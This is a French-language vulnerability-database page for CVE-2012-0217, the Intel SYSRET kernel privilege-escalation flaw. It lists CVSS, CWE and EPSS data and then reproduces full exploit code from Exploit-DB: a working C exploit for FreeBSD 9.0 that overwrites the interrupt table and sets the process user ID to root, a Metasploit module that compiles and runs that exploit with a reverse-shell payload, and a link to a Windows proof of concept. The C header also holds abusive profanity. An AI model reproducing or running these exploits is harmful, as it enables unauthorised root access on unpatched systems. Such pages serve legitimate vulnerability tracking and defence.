CVE-2012-0217 Détail

CVE-2012-0217

Catégories

Overflow

EPSS

0.06%V3

Vecteur

Local

Publié

2012-06-12
20h00 +00:00

Modifié

2019-03-08
09h57 +00:00

Liens officiels

CVE.org

NVD

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Gestion des notifications

Liste des Notifications

Notifications pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.

Critères appliqués l'envoi de l'alerte : par rapport à la dernière alerte envoyée + différences au niveau de CISA, EPSS, CVSS, CWE, Solutions, CPE.

Paramètres

Vous pouvez spécifier un titre qui sera récupéré dans les alertes qui seront envoyées.

Spécifiez ici un CVE ID comme CVE-2025-1234

Planifications

Mois

Prochaine exécution calculée

Jour

Jour de la semaine

Heure

Minute

Date de création

Dernière exécution

Prochaine exécution

Fonctionnalité nécessitant une connexion

Cette fonctionnalité qui vous permet de recevoir des alertes, n'est active que lorsque vous êtes connecté à votre compte.

Descriptions du CVE

The x86-64 kernel system-call functionality in Xen 4.1.2 and earlier, as used in Citrix XenServer 6.0.2 and earlier and other products; Oracle Solaris 11 and earlier; illumos before r13724; Joyent SmartOS before 20120614T184600Z; FreeBSD before 9.0-RELEASE-p3; NetBSD 6.0 Beta and earlier; Microsoft Windows Server 2008 R2 and R2 SP1 and Windows 7 Gold and SP1; and possibly other operating systems, when running on an Intel processor, incorrectly uses the sysret path in cases where a certain address is not a canonical address, which allows local users to gain privileges via a crafted application. NOTE: because this issue is due to incorrect use of the Intel specification, it should have been split into separate identifiers; however, there was some value in preserving the original mapping of the multi-codebase coordinated-disclosure effort to a single identifier.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 28718

Date de publication : 2013-10-03 22h00 +00:00
Auteur : CurcolHekerLink
EDB Vérifié : Yes

/* * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit * Author by CurcolHekerLink * * This exploit based on open source project, I can make it open source too. Right? * * If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :) * * Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink, * Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam * if you would like next private exploit leakage, just mention @MamahhDedeh * * Some people may feel harmed when we release this exploit :)) * * p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :)) * */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <sys/mman.h> #include <machine/cpufunc.h> #define _WANT_UCRED #include <sys/proc.h> #include <machine/segments.h> #include <sys/param.h> #include <sys/linker.h> #define TRIGGERSIZE 20 #define BOUNCESIZE 18 uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp; struct gate_descriptor * sidt() { struct region_descriptor idt; asm ("sidt %0": "=m"(idt)); return (struct gate_descriptor*)idt.rd_base; } u_long matchsym(char *symname) { struct kld_sym_lookup ksym; ksym.version = sizeof (ksym); ksym.symname = symname; if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } return ksym.symvalue; } void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist) { struct gate_descriptor *ip; ip = idt + idx; ip->gd_looffset = func; ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); ip->gd_ist = ist; ip->gd_xx = 0; ip->gd_type = typ; ip->gd_dpl = dpl; ip->gd_p = 1; ip->gd_hioffset = func>>16; } void payload() { printf("[+] Woohoo!!!\n"); exit(0); } void resetidt() { struct thread *td; struct ucred *cred; struct gate_descriptor *idt = sidt(); setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0); asm ("mov %%gs:0, %0" : "=r"(td)); cred = td->td_proc->p_ucred; cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; cred->cr_groups[0] = 0; asm ("swapgs; sysretq;" :: "c"(payload)); } void resolving() { Xdivp = (uintptr_t)matchsym("Xdiv"); Xdbgp = (uintptr_t)matchsym("Xdbg"); Xbptp = (uintptr_t)matchsym("Xbpt"); Xoflp = (uintptr_t)matchsym("Xofl"); Xbndp = (uintptr_t)matchsym("Xbnd"); Xillp = (uintptr_t)matchsym("Xill"); Xdnap = (uintptr_t)matchsym("Xdna"); Xfpusegmp = (uintptr_t)matchsym("Xfpusegm"); Xtssp = (uintptr_t)matchsym("Xtss"); Xmissingp = (uintptr_t)matchsym("Xmissing"); Xstkp = (uintptr_t)matchsym("Xstk"); Xprotp = (uintptr_t)matchsym("Xprot"); Xpagep = (uintptr_t)matchsym("Xpage"); Xfpup = (uintptr_t)matchsym("Xfpu"); Xalignp = (uintptr_t)matchsym("Xalign"); Xmchkp = (uintptr_t)matchsym("Xmchk"); Xxmmp = (uintptr_t)matchsym("Xxmm"); } void trigger() { printf("[+] Crotz...\n"); uint64_t pagesize = getpagesize(); uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize); mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (mappedarea == MAP_FAILED) { perror("mmap (trigger)"); exit(1); } char triggerpayload[] = "\xb8\x18\x00\x00\x00" "\x48\x89\xe3" "\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde" "\x0f\x05"; uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE; memcpy(offset_addr, triggerpayload, TRIGGERSIZE); *(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8); printf("[+] Crotz...\n"); char bouncepayload[] = "\x0f\x01\xf8" "\x48\x89\xdc" "\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde" "\xff\xe0"; uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF)); size_t bouncer_allocsize = pagesize; if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE) bouncer_allocsize += pagesize; if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED) { perror("mmap (bouncer)"); exit(1); } memcpy(bouncer, bouncepayload, BOUNCESIZE); *(uint64_t*)(bouncer + 8) = (uint64_t)resetidt; ((void (*)())offset_addr)(); } int main(int argc, char *argv[]) { printf("[+] SYSRET FUCKUP!!\n"); printf("[+] Start Engine...\n"); resolving(); printf("[+] Crotz...\n"); trigger(); return 0; }

Exploit Database EDB-ID : 46508

Date de publication : 2019-03-06 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'FreeBSD Intel SYSRET Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the FreeBSD kernel, when running on 64-bit Intel processors. By design, 64-bit processors following the X86-64 specification will trigger a general protection fault (GPF) when executing a SYSRET instruction with a non-canonical address in the RCX register. However, Intel processors check for a non-canonical address prior to dropping privileges, causing a GPF in privileged mode. As a result, the current userland RSP stack pointer is restored and executed, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 8.3-RELEASE (amd64); and FreeBSD 9.0-RELEASE (amd64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Rafal Wojtczuk', # Discovery 'John Baldwin', # Discovery 'iZsh', # Exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2012-06-12', 'Platform' => ['bsd'], 'Arch' => [ARCH_X64], 'SessionTypes' => ['shell'], 'References' => [ ['BID', '53856'], ['CVE', '2012-0217'], ['EDB', '28718'], ['PACKETSTORM', '113584'], ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'], ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'], ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'], ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'], ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'], ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation'] ], 'Targets' => [ ['Automatic', {}] ], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data, gcc_args='') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path chmod path end def exploit_data(file) ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-0217', file) end def is_root? (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def check kernel_release = cmd_exec('uname -r').to_s unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/ vprint_error "FreeBSD version #{kernel_release} is not vulnerable" return Exploit::CheckCode::Safe end vprint_good "FreeBSD version #{kernel_release} appears vulnerable" arch = cmd_exec('uname -m').to_s unless arch.include? '64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" hw_model = cmd_exec('/sbin/sysctl hw.model').to_s unless hw_model.downcase.include? 'intel' vprint_error "#{hw_model} is not vulnerable" return CheckCode::Safe end vprint_good "#{hw_model} is vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload and compile exploit executable executable_name = ".#{rand_text_alphanumeric 5..10}" executable_path = "#{base_dir}/#{executable_name}" upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall' # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec executable_path output.each_line { |line| vprint_status line.chomp } unless is_root? fail_with Failure::Unknown, 'Exploitation failed' end print_good "Success! Executing payload..." cmd_exec payload_path end end

Exploit Database EDB-ID : 20861

Date de publication : 2012-08-26 22h00 +00:00
Auteur : Shahriyar Jalayeri
EDB Vérifié : Yes

Source: http://packetstormsecurity.org/files/115908/sysret.rar This is proof of concept code that demonstrates the Microsoft Windows kernel (Intel/x64) SYSRET vulnerability as described in MS12-042. The shellcode disables code signing and will grant NT SYSTEM privileges to a specified application or already running process. Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20861.rar